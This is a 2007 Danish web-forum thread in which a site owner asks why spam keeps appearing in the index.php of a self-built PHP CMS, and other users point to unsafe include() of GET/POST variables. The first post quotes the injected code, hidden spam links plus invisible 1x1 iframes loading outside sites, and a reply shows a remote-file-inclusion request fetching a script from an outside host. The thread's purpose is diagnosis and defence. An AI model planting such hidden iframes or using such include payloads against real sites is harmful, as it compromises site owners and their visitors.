Avatar billede svoeber Nybegynder
14. maj 2007 - 20:04 Der er 16 kommentarer

PHP-baseret side bliver hacket med spam

Jeg har en side, hvor der i to omgange er blevet sat spam-indhold ind i index.php
Fx.:
----

<div id="KLC8621" name="KLC8621" style="position:absolute; visibility:hidden;"><a href="http://as.wwc.edu/tiki/templates/map/a2/didrex/">Didrex</a><a href="http://as.wwc.edu/tiki/templates/map/a2/buy-tramadol/">Drug Tramadol</a>
[.... osv. osv. ....]
</div><iframe src='http://kleman.info' width='1' height='1' style='visibility: hidden;'></iframe><iframe src='http://tstats.biz/st/index.php' width='1' height='1' style='visibility: hidden;'></iframe>

----

Udbyderen mener, at det er php-filerne på websitet, der har gjort det muligt at indsætte spam-teksten, men der kører ikke nogen forums eller andre scripts med mulige kendte exploits. Der kører kun et simpelt hjemmelavet CMS.
Hvordan kan det overhovedet lade sig gøre, og hvor skal man starte med at kigge, hvis man vil undgå at det gentager sig?
Avatar billede jakobdo Ekspert
14. maj 2007 - 20:16 #1
Du skal starte med at kigge på dit CMS.
Hvordan bruger du include/require og lign?
Bruger du variabler direkte fra: $_GET og $_POST ?
Avatar billede mccookie Seniormester
14. maj 2007 - 22:31 #2
Smid noget kode som vi kan se.....
Avatar billede svoeber Nybegynder
14. maj 2007 - 22:37 #3
Nu skrev jeg godt nok "simpelt CMS", men jeg tror nu alligevel, det er lige i overkanten at smide al koden herop ;)

@jakobdo
Ja, der er steder, hvor jeg bruger variable fra GET og POST. Men hvordan kan det blive udnyttet til at skrive til filer - og så endda uden at kende kildekoden?
Avatar billede mccookie Seniormester
14. maj 2007 - 23:06 #4
Okay, trækker mig for spørgsmålet. Fejlen ligger i dit script og det er noget lettere at finde fejlen når man kan kigge i koden og så meget kode kan der nu heller ikke være.

Vi skal ser kode omkring kode der behandler input herunder: Passwordbeskyttet adgang, save, edit osv. Det er jo ikke dit design og lignende vi skal se.

///McCookie
Avatar billede svoeber Nybegynder
14. maj 2007 - 23:32 #5
Hvilken type fejl ville du kigge efter?

Mit spørgsmål er ikke: "Hvor i min kode er fejlen", men "Hvordan kan det overhovedet lade sig gøre, og hvor skal man starte med at kigge, hvis man vil undgå at det gentager sig?"
Avatar billede windcape Praktikant
15. maj 2007 - 01:04 #6
"Hvordan kan det overhovedet lade sig gøre"
- I programming kan alt lade sig gøre. Og hvis du har en sikkerhedsfejl der tillader folk at redigere indholdet på dine sider, så er det jo derfor.

", og hvor skal man starte med at kigge"
- I koden... men VI HAR JO INGEN IDE OM HVILKEN KODEN DU HAR. Men "der" er nok en rimelig præcis angivelse. Sandsyneligvis har du nok ikke eet hul, men et hul for hver 100 linjers kode.

", hvis man vil undgå at det gentager sig?"
- Lade være med at bruge downloaded scripts, og lære at koden noget ordenligt selv.
Avatar billede jakobdo Ekspert
15. maj 2007 - 07:57 #7
Jeg ser nogle gange, at nogle koder på denne måde:

include($_GET['page']);

Hvis en hacker så kalder siden:

index.php?page=http://www.hack.dk/exploit.txt

Så inkludere hackeren sin kode på din side, og kan derfor gøre hvad han vil.
Avatar billede svoeber Nybegynder
15. maj 2007 - 11:41 #8
Ja, umiddelbart ville jeg selvfølgelig sværge, at der ikke var et så åbent hul, men jeg har lige grep'et igennem koden på "include" for en sikkerheds skyld, og nogle steder har jeg brugt en path fra en variabel, fx: include $cms_path."filnavn.inc.php";
Og jeg opdager nu, at denne variabel ikke altid er sat, og derved i praksis kan sættes via GET (ja, register_globals er on - koden er fra dengang det stadig var udbredt).

Så langt, så godt, men:
1) Jeg undrer mig, hvis det kan udnyttes uden at kende kildekoden.
2) Der er ingen GET i webserver-loggen med denne variabel. Faktisk er der ingen mistænkelige linier i loggen omkring det tidspunkt, filen blev cracket.

Nå, men eet hul er elimineret så tak for tippet :)
Avatar billede jakobdo Ekspert
15. maj 2007 - 11:53 #9
Har du siden: bunkenborg.com ?
Avatar billede svoeber Nybegynder
15. maj 2007 - 12:21 #10
Nope, den kender jeg ikke.
Avatar billede jakobdo Ekspert
15. maj 2007 - 12:35 #11
Hvad hedder det CMS du benytter?
Avatar billede svoeber Nybegynder
15. maj 2007 - 13:15 #12
Det er som sagt et CMS, jeg selv har udviklet. Det er lavet til en kunde for snart mange år siden.
Avatar billede windcape Praktikant
15. maj 2007 - 13:19 #13
pack det og læg det op. Det er direkte stupidt at sidde og gætte hvad du har lavet af dårlig kode.
Avatar billede jakobdo Ekspert
15. maj 2007 - 13:20 #14
Så der er altså ikke tale om TNGFORUM?

http://www.tngforum.us/index.php?showtopic=2252
Avatar billede svoeber Nybegynder
15. maj 2007 - 14:00 #15
Nej, der er ikke TNGForum installeret, selvom det var et godt bud. Der er heller noget andet udbredt php-software installeret - desværre, for ellers var det lidt nemmere at fejlsøge.

Jeg tror nu lige, at jeg hiver fat i udbyderen igen, da jeg efterhånden undrer mig en del over at et angreb via mine php-filer ikke viser sig i access-log.
Avatar billede jakobdo Ekspert
15. maj 2007 - 14:21 #16
Har du adgang til accesslog?
Din kode minder utroligt meget om det kode som er fejlen i sidste link jeg postede.
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester